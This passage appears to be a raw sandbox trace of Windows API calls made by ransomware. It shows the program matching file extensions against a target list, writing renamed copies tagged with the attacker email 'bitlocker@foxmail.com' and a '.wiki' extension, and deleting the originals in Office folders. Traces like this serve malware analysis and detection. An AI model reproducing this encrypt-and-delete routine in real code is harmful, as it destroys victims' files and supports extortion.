(HeapHandle=0x6c0000, Flags=0x0, Size=0x40000) returned 0x40854f8 [0047.224] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.224] WriteFile (in: hFile=0x198, lpBuffer=0x40854f8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d8fc88, lpOverlapped=0x0 | out: lpBuffer=0x40854f8*, lpNumberOfBytesWritten=0x2d8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.225] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x88bff, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.225] WriteFile (in: hFile=0x198, lpBuffer=0x40854f8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d8fc88, lpOverlapped=0x0 | out: lpBuffer=0x40854f8*, lpNumberOfBytesWritten=0x2d8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.227] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x15a3ff, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.227] WriteFile (in: hFile=0x198, lpBuffer=0x40854f8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d8fc88, lpOverlapped=0x0 | out: lpBuffer=0x40854f8*, lpNumberOfBytesWritten=0x2d8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.229] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40854f8 | out: hHeap=0x6c0000) returned 1 [0047.229] CloseHandle (hObject=0x198) returned 1 [0048.179] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0048.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0048.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0048.179] lstrlenW (lpString=".doc") returned 4 [0048.179] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0048.179] lstrlenW (lpString=".docx") returned 5 [0048.179] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0048.179] lstrlenW (lpString=".pdf") returned 4 [0048.179] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0048.179] lstrlenW (lpString=".xls") returned 4 [0048.179] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0048.179] lstrlenW (lpString=".xlsx") returned 5 [0048.179] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0048.179] lstrlenW (lpString=".ppt") returned 4 [0048.179] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0048.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0048.179] lstrlenW (lpString=".zip") returned 4 [0048.179] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0048.179] lstrlenW (lpString=".rar") returned 4 [0048.179] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0048.180] lstrlenW (lpString=".bz2") returned 4 [0048.180] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0048.180] lstrlenW (lpString=".7z") returned 3 [0048.180] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0048.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0048.180] lstrlenW (lpString=".dbf") returned 4 [0048.180] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0048.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0048.180] lstrlenW (lpString=".1cd") returned 4 [0048.180] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0048.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0048.180] lstrlenW (lpString=".jpg") returned 4 [0048.180] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0048.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0048.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0048.180] lstrlenW (lpString=".doc") returned 4 [0048.180] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0048.180] lstrlenW (lpString=".docx") returned 5 [0048.180] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0048.180] lstrlenW (lpString=".pdf") returned 4 [0048.180] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0048.180] lstrlenW (lpString=".xls") returned 4 [0048.180] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0048.180] lstrlenW (lpString=".xlsx") returned 5 [0048.180] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0048.180] lstrlenW (lpString=".ppt") returned 4 [0048.180] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0048.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0048.180] lstrlenW (lpString=".zip") returned 4 [0048.180] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0048.180] lstrlenW (lpString=".rar") returned 4 [0048.180] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0048.180] lstrlenW (lpString=".bz2") returned 4 [0048.180] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0048.181] lstrlenW (lpString=".7z") returned 3 [0048.181] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0048.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0048.181] lstrlenW (lpString=".dbf") returned 4 [0048.181] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0048.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0048.181] lstrlenW (lpString=".1cd") returned 4 [0048.181] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0048.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0048.181] lstrlenW (lpString=".jpg") returned 4 [0048.181] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0048.181] lstrcmpiW (lpString1=".XML", lpString2=".wiki") returned 1 [0048.181] lstrlenW (lpString="OutlookMUI.XML") returned 14 [0048.181] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0048.181] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=3186) returned 1 [0048.181] CloseHandle (hObject=0x198) returned 1 [0048.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml")) returned 0x20 [0048.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0048.182] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0048.182] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.182] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.182] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0048.999] GetLastError () returned 0x0 [0048.999] ReadFile (in: hFile=0x198, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0xc72, lpOverlapped=0x0) returned 1 [0049.051] WriteFile (in: hFile=0x180, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xc80, lpOverlapped=0x0) returned 1 [0049.053] ReadFile (in: hFile=0x198, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.053] WriteFile (in: hFile=0x180, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0049.053] SetEndOfFile (hFile=0x180) returned 1 [0049.053] CloseHandle (hObject=0x180) returned 1 [0049.054] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.054] SetEndOfFile (hFile=0x198) returned 1 [0049.054] CloseHandle (hObject=0x198) returned 1 [0049.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0049.055] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml")) returned 1 [0049.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0049.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0049.055] lstrlenW (lpString=".doc") returned 4 [0049.055] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.055] lstrlenW (lpString=".docx") returned 5 [0049.055] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0049.055] lstrlenW (lpString=".pdf") returned 4 [0049.055] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.055] lstrlenW (lpString=".xls") returned 4 [0049.055] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.055] lstrlenW (lpString=".xlsx") returned 5 [0049.055] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0049.055] lstrlenW (lpString=".ppt") returned 4 [0049.055] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0049.055] lstrlenW (lpString=".zip") returned 4 [0049.055] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.055] lstrlenW (lpString=".rar") returned 4 [0049.055] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.055] lstrlenW (lpString=".bz2") returned 4 [0049.055] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.055] lstrlenW (lpString=".7z") returned 3 [0049.055] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0049.055] lstrlenW (lpString=".dbf") returned 4 [0049.056] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0049.056] lstrlenW (lpString=".1cd") returned 4 [0049.056] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0049.056] lstrlenW (lpString=".jpg") returned 4 [0049.056] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0049.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0049.056] lstrlenW (lpString=".doc") returned 4 [0049.056] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.056] lstrlenW (lpString=".docx") returned 5 [0049.056] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0049.056] lstrlenW (lpString=".pdf") returned 4 [0049.056] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.056] lstrlenW (lpString=".xls") returned 4 [0049.056] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.056] lstrlenW (lpString=".xlsx") returned 5 [0049.056] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0049.056] lstrlenW (lpString=".ppt") returned 4 [0049.056] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0049.056] lstrlenW (lpString=".zip") returned 4 [0049.056] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.056] lstrlenW (lpString=".rar") returned 4 [0049.056] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.056] lstrlenW (lpString=".bz2") returned 4 [0049.056] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.056] lstrlenW (lpString=".7z") returned 3 [0049.056] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0049.056] lstrlenW (lpString=".dbf") returned 4 [0049.056] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0049.056] lstrlenW (lpString=".1cd") returned 4 [0049.057] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0049.057] lstrlenW (lpString=".jpg") returned 4 [0049.057] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.057] lstrcmpiW (lpString1=".XML", lpString2=".wiki") returned 1 [0049.057] lstrlenW (lpString="SETUP.XML") returned 9 [0049.057] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0049.058] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=16683) returned 1 [0049.058] CloseHandle (hObject=0x198) returned 1 [0049.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml")) returned 0x20 [0049.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0049.058] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0049.058] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.058] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.058] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0049.059] GetLastError () returned 0x0 [0049.059] ReadFile (in: hFile=0x198, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x412b, lpOverlapped=0x0) returned 1 [0049.064] WriteFile (in: hFile=0x180, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x4130, lpOverlapped=0x0) returned 1 [0049.065] ReadFile (in: hFile=0x198, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.065] WriteFile (in: hFile=0x180, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0049.065] SetEndOfFile (hFile=0x180) returned 1 [0049.065] CloseHandle (hObject=0x180) returned 1 [0049.066] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.066] SetEndOfFile (hFile=0x198) returned 1 [0049.067] CloseHandle (hObject=0x198) returned 1 [0049.067] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0049.067] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml")) returned 1 [0049.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0049.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0049.067] lstrlenW (lpString=".doc") returned 4 [0049.067] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.067] lstrlenW (lpString=".docx") returned 5 [0049.067] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0049.068] lstrlenW (lpString=".pdf") returned 4 [0049.068] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.068] lstrlenW (lpString=".xls") returned 4 [0049.068] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.068] lstrlenW (lpString=".xlsx") returned 5 [0049.068] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0049.068] lstrlenW (lpString=".ppt") returned 4 [0049.068] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0049.068] lstrlenW (lpString=".zip") returned 4 [0049.068] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.068] lstrlenW (lpString=".rar") returned 4 [0049.068] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.068] lstrlenW (lpString=".bz2") returned 4 [0049.068] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.068] lstrlenW (lpString=".7z") returned 3 [0049.068] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0049.068] lstrlenW (lpString=".dbf") returned 4 [0049.068] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0049.068] lstrlenW (lpString=".1cd") returned 4 [0049.068] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0049.068] lstrlenW (lpString=".jpg") returned 4 [0049.068] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0049.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0049.068] lstrlenW (lpString=".doc") returned 4 [0049.068] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.068] lstrlenW (lpString=".docx") returned 5 [0049.068] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0049.068] lstrlenW (lpString=".pdf") returned 4 [0049.068] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.068] lstrlenW (lpString=".xls") returned 4 [0049.069] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.069] lstrlenW (lpString=".xlsx") returned 5 [0049.069] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0049.069] lstrlenW (lpString=".ppt") returned 4 [0049.069] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0049.069] lstrlenW (lpString=".zip") returned 4 [0049.069] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.069] lstrlenW (lpString=".rar") returned 4 [0049.069] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.069] lstrlenW (lpString=".bz2") returned 4 [0049.069] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.069] lstrlenW (lpString=".7z") returned 3 [0049.069] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0049.069] lstrlenW (lpString=".dbf") returned 4 [0049.069] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0049.069] lstrlenW (lpString=".1cd") returned 4 [0049.069] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0049.069] lstrlenW (lpString=".jpg") returned 4 [0049.069] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.069] lstrcmpiW (lpString1=".XML", lpString2=".wiki") returned 1 [0049.069] lstrlenW (lpString="ProjectMUI.XML") returned 14 [0049.069] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0049.070] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1452) returned 1 [0049.070] CloseHandle (hObject=0x198) returned 1 [0049.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml")) returned 0x20 [0049.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0049.070] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 